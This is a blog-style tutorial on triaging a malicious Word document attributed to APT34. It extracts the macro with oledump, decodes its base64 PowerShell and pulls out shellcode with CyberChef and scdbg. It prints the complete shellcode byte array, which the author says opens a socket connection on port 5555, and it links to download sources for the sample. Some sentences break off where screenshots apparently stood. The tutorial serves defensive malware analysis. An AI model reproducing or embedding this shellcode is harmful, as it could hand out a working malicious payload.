As people quite frequently ask me how I triage potentially malicious Microsoft Office documents, I decided to run through a quick analysis here.
Our specimen for that tutorial is a word document out of the malware collection published by @0xffff0800 on http://iec56w4ibovnb4wc.onion (URL might change. Check current address at 0day.coffee). @0xffff0800 attributes the file to an Iranian Threat actor dubbed APT34 by Mandiant/FireEye. You can download the file directly from the repository or Virus Total (https://www.virustotal.com/#/file/db53b4157868fffd0331c1498e2209c11499b14f5aa980fe4fb3453858ed90b5/detection)
Specimen Details
Filename | MagicHoundAPT34.doc |
SHA1 | 9ff035e1d7517ac3c081a1a25382fa862dd1f87d |
Size | 39’936 b |

As you can see, they didn’t really care about crafting a nicer fake document. I trust, your red-team does better than that.
Triage vs. Full Analysis
The main goal of a triage is to allow a medium experienced Forensic analyst who probably has no background in malware reverse engineering to figure out if a document is malicious and even get some IOCs out of it. The approach I’m suggesting here is a low-risk approach as it works completely without opening the file in Microsoft Word or executing any PowerShell code. For the sake of completeness, I’ll give some hints on how a Malware Analyst could continue dissecting the malware.
Tools used
- oledump by @DidierStevens
- CyberChef by GCHQ
- scdbg by David Zimmer
1.) Finding the Macro
We are looking at an old Word Document format as indicated by the .doc suffix. Those documents are stored in the OLECF file format (further reading). Oledump is a nice tool written in python that allows you to extract various streams contained in the olecf file. So let’s take a closer look at the file and see if it is even malicious.
oledump.py MagicHoundAPT34.doc
This will scan the file for all subelements in the compound file. For the given specimen it shows the following output. Note the stream number 7. This is the only stream that contains a macro.

Oledump offers a fast and easy way to extract individual streams. As macros are usually compressed, we need the -v flag as well to decompress the content.

Looking at the macro, what we see are typical Powershell parameters and a
oledump.py -s7 -v MagicHoundAPT34.doc > macro.txt
2.) Revealing the actual code
Looking at the macro in the Texteditor of your choice (I use Sublime), preferably one that supports syntax highlighting we see that the main payload seems to be PowerShell based, and the vb macro only executes PowerShell and shows an error message.

So apparently we need to decode the base64 Powershell source next. You probably realized that it is not a single string block, but multiple concatenated string blocks. So we need to clean that up a bit and then decode it into a new file called base64.txt
Mac OS:
base64 -D base64.txt > powershell1.txt
Most Linux:
base64 -d base64.txt > powershell1.txt
That gives us an interesting piece of PowerShell code. At first, we see, that there seems to be some additional PowerShell code in a string variable called $G8t. at the end of the file, that same Powershell code gets base64 encoded again and then executed with the 32-bit version of PowerShell (Note the location of powershell.exe in a subfolder of syswow64). A very common reason to use 32-bit binaries is when the attacker happens to have 32-bit shellcode he wants to execute. This code wouldn’t run using 64-bit binaries. So let’s look for some shellcode. I’m sure you spotted it already. The variable called $z is an array of byte values. If you look at the code more closely you see, that the attacker leverages the

For an incident responder with no malware analysis background, that would be the right moment to hand the sample over to a malware analyst.
3.) Extracting and analysing the shellcode
If you don’t know what shellcode is, Wikipedia has an easy to read article on that topic. So
0xba,0xf7,0xc6,0x4e,0x03,0xd9,0xeb,0xd9,0x74,0x24,0xf4,0x58,0x31,0xc9,0xb1,0x47,0x31,0x50,0x13,0x03,0x50,0x13,0x83,0xe8,0x0b,0x24,0xbb,0xff,0x1b,0x2b,0x44,0x00,0xdb,0x4c,0xcc,0xe5,0xea,0x4c,0xaa,0x6e,0x5c,0x7d,0xb8,0x23,0x50,0xf6,0xec,0xd7,0xe3,0x7a,0x39,0xd7,0x44,0x30,0x1f,0xd6,0x55,0x69,0x63,0x79,0xd5,0x70,0xb0,0x59,0xe4,0xba,0xc5,0x98,0x21,0xa6,0x24,0xc8,0xfa,0xac,0x9b,0xfd,0x8f,0xf9,0x27,0x75,0xc3,0xec,0x2f,0x6a,0x93,0x0f,0x01,0x3d,0xa8,0x49,0x81,0xbf,0x7d,0xe2,0x88,0xa7,0x62,0xcf,0x43,0x53,0x50,0xbb,0x55,0xb5,0xa9,0x44,0xf9,0xf8,0x06,0xb7,0x03,0x3c,0xa0,0x28,0x76,0x34,0xd3,0xd5,0x81,0x83,0xae,0x01,0x07,0x10,0x08,0xc1,0xbf,0xfc,0xa9,0x06,0x59,0x76,0xa5,0xe3,0x2d,0xd0,0xa9,0xf2,0xe2,0x6a,0xd5,0x7f,0x05,0xbd,0x5c,0x3b,0x22,0x19,0x05,0x9f,0x4b,0x38,0xe3,0x4e,0x73,0x5a,0x4c,0x2e,0xd1,0x10,0x60,0x3b,0x68,0x7b,0xec,0x88,0x41,0x84,0xec,0x86,0xd2,0xf7,0xde,0x09,0x49,0x90,0x52,0xc1,0x57,0x67,0x95,0xf8,0x20,0xf7,0x68,0x03,0x51,0xd1,0xae,0x57,0x01,0x49,0x07,0xd8,0xca,0x89,0xa8,0x0d,0x66,0x8f,0x3e,0x6e,0xdf,0x85,0xac,0x06,0x22,0x9a,0xc5,0x65,0xab,0x7c,0xb5,0xd9,0xfc,0xd0,0x75,0x8a,0xbc,0x80,0x1d,0xc0,0x32,0xfe,0x3d,0xeb,0x98,0x97,0xd7,0x04,0x75,0xcf,0x4f,0xbc,0xdc,0x9b,0xee,0x41,0xcb,0xe1,0x30,0xc9,0xf8,0x16,0xfe,0x3a,0x74,0x05,0x96,0xca,0xc3,0x77,0x30,0xd4,0xf9,0x12,0xbc,0x40,0x06,0xb5,0xeb,0xfc,0x04,0xe0,0xdb,0xa2,0xf7,0xc7,0x50,0x6a,0x62,0xa8,0x0e,0x93,0x62,0x28,0xce,0xc5,0xe8,0x28,0xa6,0xb1,0x48,0x7b,0xd3,0xbd,0x44,0xef,0x48,0x28,0x67,0x46,0x3d,0xfb,0x0f,0x64,0x18,0xcb,0x8f,0x97,0x4f,0xcd,0xec,0x41,0xa9,0xbb,0x1c,0x52
I want to use CyberChef to create a binary file out of the shellcode. For that to work, I either need to get rid of all the 0x or the commas as CyberChef only accepts one separator. I’ll get rid of the commas and paste it into CyberChef’s input window. Selecting the “From HEX” recipe gives me some gibberish characters in the output window. That’s exactly how machine code is supposed to look like in ASCII. So let’s save that to a file by clicking on the save icon. I choose shellcode.bin.

So now that we got the shellcode, what do we do next? Shellcode is not a complete binary. It usually uses functions provided by the operating system, in that case, windows to do whatever it needs to do. We have two options now. We do have way more than one option to run it anyhow. For a first glance, I’ll use a tool called scdbg. It allows us to run shellcode without first putting it into a complete windows executable. The downside of this is, that we can’t really debug it from there. One note, if you do the same thing, be aware that scdbg actually executes the code. This can definitely harm your system. So let’s see if we can get it to run.


Ok, so now we know a bit more about the shellcode. It seems to leverage a WSASocket to open a connection to a local IP address on port 5555. This IP is not in the subnet of the analysis workstation so there is no way it would get a response. So wouldn’t it be nice if we could look at what it is trying to do there more closely? I guess it is worth a try. There is a nice little tool written by Adam Kramer that can help us out. It is called jmp2it. It allows us to debug the shellcode. But that’s already way beyond simple malware triage for Incident Responders. I’ll put up a separate blog entry on how to proceed with that sample as soon as I have time. So happy hunting and have a great weekend.